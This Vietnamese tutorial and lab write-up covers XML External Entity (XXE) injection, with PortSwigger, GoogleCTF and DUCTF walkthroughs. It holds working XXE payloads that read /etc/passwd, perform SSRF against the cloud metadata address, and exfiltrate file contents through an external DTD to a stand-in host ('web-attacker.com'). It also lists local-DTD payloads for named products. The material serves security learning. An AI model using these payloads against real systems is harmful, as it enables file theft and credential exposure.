---
# System prepended metadata

title: Tìm hiểu về XML External Entity Injection (XXE)
tags: [xxe]

---

# I. XML
## 1. Khái quát
XML là một extensible Markup Language

Cấu trúc một một file XML như sau : 

![image](https://hackmd.io/_uploads/rJruFPn26.png)

Trong đó các name_tag do người dùng tự định nghĩa.

Nội dung XML được xử lý thông qua **XML Parser** : 

![image](https://hackmd.io/_uploads/H1LZ9w32p.png)

XML Parser chính là một bộ thư viện được viết sẵn trong ngôn ngữ lập trình có nhiệm vụ : 
- Phân tích và xử lý nội dung XML
- Xử lý cú pháp
- Tạo và sửa đổi nội dung XML
- Chuyển đổi XML thành dạng khác

Làm việc ta thường sẽ muốn chia nhỏ ra để dễ quản lý, duy trì. Với ý tưởng này ta có thể nghĩ đến hàm `include` ở trong ngôn ngữ lập trình PHP. Thì ở XML cũng có tính năng tương tự được gọi là DTD với mục tiêu là cho phép ta load các file từ bên ngoài vào.

## 2. Document Type Definition (DTD)

XML DTD là viết tắt của XML Document Type Definition. Đây là một tệp tin định nghĩa cấu trúc, kiểu dữ liệu các phần tử và thuộc tính trong một tài liệu XML.

- Là một thành phần trong XML Document
- Mở rộng chức năng cho XML Document
- Sử dụng để định nghĩa Entities trong XML Documents
- DTD phải tuân thủ theo cấu trúc và syntax của một XML Documents
- DTD phải xuất hiện ở phần bắt đầu của XML Document

Entities là cách thức để có thể tham chiếu dữ liệu được sử dụng lặp đi lặp lại nhiều lần. Tương tự như việc việc khai báo biến, và tất cả các entities phải được khai báo trước khi sử dụng.

**Có 2 dạng DTD thường được sử dụng:** 

Internal DTD được khai báo trong chính file XML tương ứng:

Syntax: `<!ENTITY entity_name "entity_value">`

External DTD (tệp bên ngoài hệ thống) : 

Syntax:`<!ENTITY entity_name SYSTEM "path/URL"`


Để xem nó như là External DTD thì attribute `standalone` trong khai báo XML phải được thiết lập là `no` (nghĩa là khai báo bao gồm thông tin từ nguồn bên ngoài) 

Ví dụ : 

![image](https://hackmd.io/_uploads/H1I6Kp2ha.png)

Gọi ra giá trị theo syntax `&name;`.

Có môt dạng khai báo khác là parameter entities ta chỉ cần thay kí tự `&` bằng kí tự `%` là được.

**Vì chúng ta có thể gọi được một file hệ thống qua External DTD nên lúc này xảy ra một lổ hỗng gọi là `XML External Entity (XXE) Injection`**

Một ví dụ điển hình chính là gọi ra nội dung của `/etc/passwd` :

```xml    
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
```

>Bản chất của lỗ hổng này là xử lý XML Untrusted Data và tính năng xử lý DTD trong thư viện XML parser được bật

# II. XML External Entity Injection

## 1. Classic XXE

Hiển thị `/etc/passwd`

```xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>
```

Hoặc 

```xml    
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
## 2. Exploiting XXE to perform SSRF attacks

```xml    
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```
## 3. Exploiting Error Based XXE

Error Based - Using Local DTD File

```xml 
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE message[ 
  <!ELEMENT message ANY >
  <!ENTITY % NUMBER '<!ENTITY &#x25; file SYSTEM "file:///flag">
  <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]> 
<message>a</message>
```
## 4. Exploiting blind XXE to exfiltrate data out-of-band

**Basic :**

```xml    
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>
```

**Advanced :**

Ví dụ: Attacker host một trang web public có chứa một external DTD file có URL là `http://attacker.com/malicious.dtd` có nội dung như sau:

```xml    
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Payload trên sẽ trở thành : 

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=content_of_etc_passwd'>
```

Cuối cùng, kẻ tấn công định nghĩa một parameter entity, gửi payload tới server chứa lỗ hổng Blind XXE

```xml    
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
```

## 5. XXE with local DTD

```xml    
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>
```
# III. Writeup Labs

## Portswigger

### Lab 1 : [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)

![image](https://hackmd.io/_uploads/S1EGaP6na.png)

Tại chức năng check stock ta thấy bị lỗi XXE như sau : 

![image](https://hackmd.io/_uploads/Sk8s0Dana.png)

Vậy lúc này ta chỉ cần gọi một DTD External là /etc/passwd -> hoàn thành bài lab

![image](https://hackmd.io/_uploads/BJbfyuT3p.png)

### Lab 2 : [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf)

![image](https://hackmd.io/_uploads/BkqRGuTnp.png)

Thử lại payload của lab trước

![image](https://hackmd.io/_uploads/B18afuan6.png)

Ở bài này ta cần kết hợp thêm lổ hỗng SSRF thông qua `http://169.254.169.254/` -> khai thác các endpoint -> lấy được access key

Endpoint đầu tiên

![image](https://hackmd.io/_uploads/BkO57O626.png)

Endpoint thứ 2

![image](https://hackmd.io/_uploads/H1aoQ_anT.png)

Endpoint thứ 3 

![image](https://hackmd.io/_uploads/BkqamOpnp.png)

Endpoint thứ 4

![image](https://hackmd.io/_uploads/rJM1N_aha.png)

Endpoint thứ 5

![image](https://hackmd.io/_uploads/HktgEOp3T.png)

Cuối cùng ta đã có được Access key -> hoàn thành bài lab

![image](https://hackmd.io/_uploads/HJxBm4O6ha.png)

### Lab 3 : [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)

![image](https://hackmd.io/_uploads/B1VY4dp3T.png)


Lab này là dạng XXE "blind", chúng ta sẽ sử dụng kỹ thuật out-of-band (OAST) để giải quyết.

Lúc này, thay vì khai báo External Entity có giá trị là nội dung tệp tin (dù có truy xuất được nội dung lưu trong entity nhưng không thể hiển thị trong giao diện ứng dụng).

Chúng ta sẽ gọi entity truy xuất tới URL tại domain DNS của server khác nhằm kiểm tra xem request tương tác tới từ server nghi ngờ chứa lỗ hổng, chúng ta sẽ sử dụng công cụ Burp Bollaborator. Payload có dạng như sau:

![image](https://hackmd.io/_uploads/B1v_wdTna.png)

Mặc dù output trả về là "Invalid product ID", nhưng tại Burp Collaborator chúng ta đã nhận được request -> bài lab hoàn thành.

![image](https://hackmd.io/_uploads/SJm2w_6hp.png)

### Lab 4 : [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)

![image](https://hackmd.io/_uploads/rJlb6_T2T.png)

Ta sẽ thử sử dụng lại payload từ lab trước xem sao : 

![image](https://hackmd.io/_uploads/SkIlRuT2p.png)

Và quả nhiên là Entity bình thường sẽ ko được, đề bài có gợi ý cho ta sử dụng parameter entities.

Cú pháp khai báo của parameter entity sử dụng `%` thay thế `&`:

```
<!ENTITY % myparameterentity "my parameter entity value" >
```

Trong đó myparameterentity là tên của parameter entity, theo sau đó là giá trị tương ứng. Sau đó, loại entity này được tham chiếu bằng cú pháp: `%myparameterentity;`

Một payload đầy đủ như sau : 

![image](https://hackmd.io/_uploads/rkz71tTnT.png)

Output trả về lỗi nhưng tại Burp Collaborator ta đã thu được request -> bài lab hoàn thành.

![image](https://hackmd.io/_uploads/HJKdkYaha.png)

### Lab 5 : [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)

![image](https://hackmd.io/_uploads/HJdTJKThp.png)

Vì lab này thuộc dạng "blind" nên đầu tiên ta test thử với payload request đến Burp Collaborator . 

![image](https://hackmd.io/_uploads/Byf7kha2a.png)


Nhận thấy server đã block kiểu khai báo Entities thông thường nên ta thử dùng parameter entities xem sao.

![image](https://hackmd.io/_uploads/SySSJna36.png)

Đã request thành công tới Burp Collaborator

![image](https://hackmd.io/_uploads/SJuw12anT.png)

Ở bài này lab cung cấp cho chúng ta một server exploit riêng nên ý tưởng là chúng ta sẽ định nghĩa một external DTD tại server exploit, sau đó gọi tham chiếu tới chúng tại payload gửi tới server, sau đó thực hiện truy xuất và hiển thị nội dung dữ liệu nhạy cảm.

Ví dụ: Attacker host một trang web public có chứa một external DTD file có URL là `http://attacker.com/malicious.dtd` có nội dung như sau:

```xml    
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Payload trên sẽ trở thành : 

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=content_of_etc_passwd'>
```

Cuối cùng, kẻ tấn công định nghĩa một parameter entity, gửi payload tới server chứa lỗ hổng Blind XXE

```xml    
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
```

Và tại sao trong payload lại phải thông qua một thằng `%eval` ?

Phải thông qua một thằng `%eval`, bởi vì nếu ta gọi thẳng như vầy :
```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM "http://web-attacker.com/?x=%file;">
%exfiltrate;
```
Thì cái nhận được chỉ là `%file;` theo nghĩa đen , chứ không phải là nội dung của `/etc/passwd`. Lí do là vì `externalEntity` không thể chứa hoặc tham chiếu đến các external entities khác. Còn `internalEntity`  có thể được định nghĩa và nested trong cùng một XML document (tái sử dụng các entity mà không cần phải viết lại.)

>Note : kỹ thuật trên có thể không hoạt động với một số nội dung trong các tệp tin (chẳng hạn ký tự xuống dòng trong /etc/passwd) do được xử lí qua URL. Một trong những khắc phục là sử dụng giao thức FTP thay thế cho HTTP.


Oke ta sẽ thực hiện với ý tưởng như trên lần lượt theo các bước sau : 

Step 1 : 

![image](https://hackmd.io/_uploads/ryGiETCnT.png)

Step 2 : 

![image](https://hackmd.io/_uploads/SJinE60hT.png)

Step 3 : 

![image](https://hackmd.io/_uploads/Hk90V60hp.png)

-> Hoàn thành bài lab

### Lab 6 : [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)

![image](https://hackmd.io/_uploads/Skikbtp3T.png)

Đầu tiên kiểm tra lỗ hổng bằng việc gửi request tương tác tới Burp Collaborator : 

![image](https://hackmd.io/_uploads/SyLdvTA3p.png)

Có vẻ đã block kí tự `&`, nên ta sẽ sử dụng kí tự `%` để thay thế. (Ý là nó block ko trả về thông báo lỗi hay đại loại vậy thôi chớ request vẫn thành công)

![image](https://hackmd.io/_uploads/S1LruTAna.png)

![image](https://hackmd.io/_uploads/H1U8OTAhT.png)

Nhận thấy server đưa ra thông báo lỗi có hiện thị nội dung mà ta có thể kiểm soát, thử thêm lần nữa : 

![image](https://hackmd.io/_uploads/SyhPK6A3a.png)


Đúng vậy rồi, cùng với server exploit mà lab cung cấp, ta sẽ sử dụng kĩ thuật tương tự như lab trước để hiển thị nội dung của `etc/passwd`

Step 1 : Server exploit

![image](https://hackmd.io/_uploads/ryCKqpA3T.png)


Step 2 : Gửi payload đến server

![image](https://hackmd.io/_uploads/S1Sw9T0np.png)

-> Hoàn thành bài lab

### Lab 7 : [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)

![image](https://hackmd.io/_uploads/Hk1pWYa3a.png)

Hệ thống sử dụng môi trường GNOME desktop và local DTD thường được đặt tại /usr/share/yelp/dtd/docbookx.dtd, trong đó chứa entity có tên ISOamso.

File đó trông như thế [này](https://www.apt-browse.org/browse/ubuntu/bionic/main/amd64/yelp/3.26.0-1ubuntu2/file/usr/share/yelp/dtd/docbookx.dtd)

Chúng ta cần kích hoạt lỗi phân tích cú pháp XML, từ đó đọc nội dung tệp /etc/passwd qua thông báo lỗi.

Đầu tiên thực DNS lookup xác định checkstock xảy ra lỗi Blind XXE

![image](https://hackmd.io/_uploads/HJu_RAC3T.png)

![image](https://hackmd.io/_uploads/BkNjC0Rhp.png)

Và hệ thống không cho phép truy cập tới các External DTD : 

![image](https://hackmd.io/_uploads/r1Xrkky6T.png)

Bài lab đã cho biết hệ thống sử dụng môi trường GNOME desktop và địa chỉ local DTD tại `/usr/share/yelp/dtd/docbookx.dtd`.

Khi path đúng : 

![image](https://hackmd.io/_uploads/HkkCyJ1pp.png)

Khi path sai : 

![image](https://hackmd.io/_uploads/rklegJ1pT.png)

Nhận thấy lỗi FilenotFound tương tự với lab trước, nên ta cũng sẽ dùng kĩ thuật tương tự với lab trước để hiển thị message error bao gồm nội dung của `/etc/passwd`

Payload : 

```xml    
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

Giải thích : 
- Nếu ta load một file DTD vào, sau đó ta khai báo lại một entity mới trùng tên với một entity đã có trong file DTD vừa load vào, thì parser sẽ chọn cái ta vừa khai báo, chứ không chọn cái ở trong file DTD.
- Bởi vì trong `%local_dtd` chứa entity có tên `ISOamso`. Khi ta gọi ra `%local_dtd;` thì entity tên `ISOamso` chứa bên trong `%local_dtd` sẽ được ghi đè bởi nội dung mà ta đã khai báo entity `ISOamso` ở payload. 
- Quan trọng, hãy để ý `%local_dtd;` được gọi sau khi ta đã khai báo entity “ISOamso“, do đó entity “ISOamso” mặc định sẽ không được sử dụng nữa.
- `Parameter entity ISOamso` gồm : `parameter entity file` chứa nội dung tệp `/etc/passwd`, `parameter entity eval` chứa định nghĩa `parameter entity error` gồm nội dung `/etc/passwd` sau khi tham chiếu tới `%file;`
- Và payload cuối cùng sẽ gây ra lỗi FilenotFound

![image](https://hackmd.io/_uploads/rye2Gy166.png)

Note : Tùy vào chúng ta lồng bao nhiêu entity vào nhau mà nó ảnh hưởng đến cách ta encode các ký tự đặc biệt kia, vì chúng tuân theo thứ tự parse. 

- `&#x25;` -> `%`
- `&#x26;#x25;` -> `%` (được encode kí tự `&`)
- `&#x27;` -> `'`


### Lab 8 : [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack)

![image](https://hackmd.io/_uploads/SyiO-Yp2T.png)

Một số trang web không trực tiếp nhận dữ liệu XML từ người dùng, mà nhúng các dữ liệu người dùng vào document XML. Điều này khiến kẻ tấn công không thể chỉnh sửa payload XML theo mong muốn do không thể kiểm soát nội dung toàn bộ document XML, dẫn đến không thể tự định nghĩa hoặc làm thay đổi tính năng DOCTYPE.

XInclude là một giải pháp tốt để thay thế các phương pháp tấn công phía trên, do XInclude là một phần của đặc tả XML cho phép tạo một document XML từ các sub-documents.

Payload sử dụng XIclude truy xuất nội dung file /etc/passwd:

```xml    
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

Note : cần thêm attribute parse="text" 
- xmlns là một XML namespaces cung cấp url là một địa chỉ chứa file Xinclude XML.

Dùng payload trên và hoàn thành bài lab : 

![image](https://hackmd.io/_uploads/r1rEuZ16a.png)


### Lab 9 : [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)

![image](https://hackmd.io/_uploads/SyusZFpnp.png)

Trong các chức năng upload có thể hệ thống thực hiện xử lý các tệp tin upload bởi người dùng. Một số định dạng tệp sử dụng XML hoặc chứa các thành phần XML như .docx hoặc ảnh .svg nếu cho phép upload có thể dẫn đến những rủi ro nhất định.

Xét trường hợp hệ thống sử dụng thư viện xử lý hình ảnh hỗ trợ định dạng ảnh SVG. Kẻ tấn công có thể chèn các payload XML vào trong hình ảnh mallicious.svg nhắm vào quá trình phân tích cú pháp trong hệ thống nhằm thực hiện các hành vi phá hoại.

Trang web có phần comment bài post

![image](https://hackmd.io/_uploads/SJ3E6ZypT.png)

Trong đó có chức năng upload avatar.

Đầu tiên ta tạo một file `.svg` có nội dung như sau : 

```xml
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
```

Trong đó entity xxe chứa nội dung tệp /etc/hostname và hiển thị nội dung ra ảnh .

Tiến hành upload , sau đó xem avatar để lấy kết quả : 

![image](https://hackmd.io/_uploads/HyOXRb1p6.png)

-> Submit hoàn thành bài lab

![image](https://hackmd.io/_uploads/SJwIA-1aa.png)

![image](https://hackmd.io/_uploads/B1yvR-yTa.png)


## GoogleCTF

Đây là một challenge black box, biết rằng flag nằm tại root (/flag)
Đề bài cung cấp cho ta một trang web như sau : 

![image](https://hackmd.io/_uploads/HyxcaFQap.png)

Đại khái là khi ta chọn một city bất kì, thì trang web sẽ hiển thị một lời chào tương ứng.

Đầu tiên ta bắt request để xem thử : 

![image](https://hackmd.io/_uploads/HkAZRt7Ta.png)

Như trên ảnh thì ta thấy input đầu vào là dạng json, thông thường thì thằng **parser** xử lí json thì cũng kèm theo xử lí cả xml, nên lúc này ta thử chuyển input thành xml xem sao 

![image](https://hackmd.io/_uploads/HJlyeqQpp.png)

Dựa vào error trả về thì ta thấy parser nó có xử lí xml, nên ta chỉnh thêm một xíu để sửa lỗi.

Sau một hồi chỉnh sửa thì cuối cùng đã chạy được : 

![image](https://hackmd.io/_uploads/HkcdG57Tp.png)

Như thường lệ thì mình thử out-of-band ra ngoài để kiểm tra lổ hỗng XXE : 

![image](https://hackmd.io/_uploads/B1NGS5Xaa.png)

Kiểu thông báo trả về quen thuộc như các labs portswigger (hiện thị thông báo lỗi bao gồm cả input user)

Vậy nếu mình include /flag thì sao 

![image](https://hackmd.io/_uploads/B14AL97Ta.png)

Trả về lỗi nhưng không phải là lỗi `failed to load` như lúc nãy, lỗi này kiểu giống lỗi format (cái này mình thử thui dù sao cũng ko thể hiển thị thẳng flag ra ngoài được)

Ý tưởng : chúng ta sẽ lợi dụng thông báo lỗi để in ra flag thui

Dự là payload sẽ như này : 

```xml    
<!ENTITY % xxe SYSTEM "file:///flag">
<!ENTITY % exec "<!ENTITY #x25; error SYSTEM 'file://%xxe;'>">
%exec;
%error;
```

![image](https://hackmd.io/_uploads/rJ29Kcm6T.png)

Yeah lỗi rồi, hmmm qua tìm hiểu thì mình biết được rằng XML nó không cho phép ta sử dụng entity bên trong entity **nếu khai báo chúng trong cùng trong một file XML** thì sẽ bị lỗi.

Tuy nhiên, nếu những content XML trên được khai báo ở một file khác, sau đó load vào file này thì lại được. 

Vậy có nghĩa là ta phải gọi một local dtd mặc định, sau đó ghi đè ENTITY như lab 7 portswigger rồi. 

Đối với mỗi hệ thống được sử dụng, các tệp local DTD thường được đặt ở các đường dẫn mặc định khác nhau. Các payload sau tương ứng với mỗi hệ thống khác nhau:

**Custom Linux System:**

```xml    
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
```

**Custom Windows System:**

```xml    
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

**Cisco WebEx:**

```xml    
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

**Citrix XenMobile Server:**

```xml    
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
```

**Any Web Application on IBM WebSphere Application Server:**

```xml    
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;
```

Oke bây giờ bắt đầu thử từng cái một thôi : 

```xml    
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE message [ 
 <!ELEMENT message ANY >
<!ENTITY code "120101345012450101230135012350150">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]> 
<message>&code;
</message>
```

Ngay phát đầu tiên đã được rồi : 

![image](https://hackmd.io/_uploads/rJ7e6qQa6.png)

Lụm flag -> bài lab hoàn thành

>Về phần giải thích cách hoạt động của payload thì mình đã giải thích tại phần writeup lab 7 portswigger phía trên rùi nha

## DUCTF

Bài lab cung cấp cho ta trang web như sau : 

![image](https://hackmd.io/_uploads/SyVPSVk6p.png)

Và lab cũng cung cấp cho ta một file excel

![image](https://hackmd.io/_uploads/ryL_IVyaa.png)

Và đường dẫn để ta upload file này lên : 

![image](https://hackmd.io/_uploads/BJ858EJpT.png)

Đầu tiên ta sẽ xem cách nó hoạt động như nào bằng thử upload file excel này lên : 

![image](https://hackmd.io/_uploads/SJ2pI41pT.png)

Sau khi upload ta được như sau : 

![image](https://hackmd.io/_uploads/H1kJwV1Tp.png)

Yeah và với file excel được cung cấp thì ta dự đoán nó sẽ thuộc lỗi XXE. Ý tưởng ta sẽ chỉnh sửa sao cho in ra được flag ở một trong các field trên.

Biết rằng flag ở `/etc/passwd`

![image](https://hackmd.io/_uploads/SkypON1aa.png)

Như vậy nhiệm vụ của ta là làm sao đọc được file `/etc/passwd`
Xem qua source code ta phát hiện một hàm khả nghi : 

![image](https://hackmd.io/_uploads/B1mHsN1pa.png)


![image](https://hackmd.io/_uploads/HkyW_NkTa.png)

Yeah vậy cái ta cần khai thác ở đây là field `absPath`

Như trong ảnh thì value của nó đang là None, ý tưởng thì mình sẽ chỉnh sửa file excel để value sẽ chứa nội dung của `/etc/passwd`

Đầu tiên uzip file excel hoặc dùng vim để chỉnh sửa trực tiếp luôn: 

![image](https://hackmd.io/_uploads/SyRjYNkT6.png)

Cái mình quan tâm là `xl/workbook.xml` 

![image](https://hackmd.io/_uploads/SylXn4JpT.png)


Truy cập vào `xl/workbook.xml` và tìm đến dòng chứa đoạn này  : 

![image](https://hackmd.io/_uploads/B1jLT41T6.png)

Ta được : 

![image](https://hackmd.io/_uploads/S1xh5EJTa.png)

Ta để ý nó đang có attribute `standalone="yes"`

-> Thực hiện chỉnh lại thành "no" 

Sau đó điền payload vào như sau : 

![image](https://hackmd.io/_uploads/SJXXpEk6a.png)

Lưu lại và upload để xem thành quả : 

![image](https://hackmd.io/_uploads/rJDXzSJpp.png)


# Tham khảo

https://www.w3schools.com/xml/xml_whatis.asp

https://www.w3schools.com/xml/xml_dtd_entities.asp

https://github.com/tadokun468/PayloadsAllTheThings/tree/master/XXE%20Injection

https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

https://viblo.asia/p/xxe-injection-vulnerabilities-lo-hong-xml-phan-1-vlZL992BLQK

https://www.youtube.com/watch?v=Uwop5LorZVU&t=894s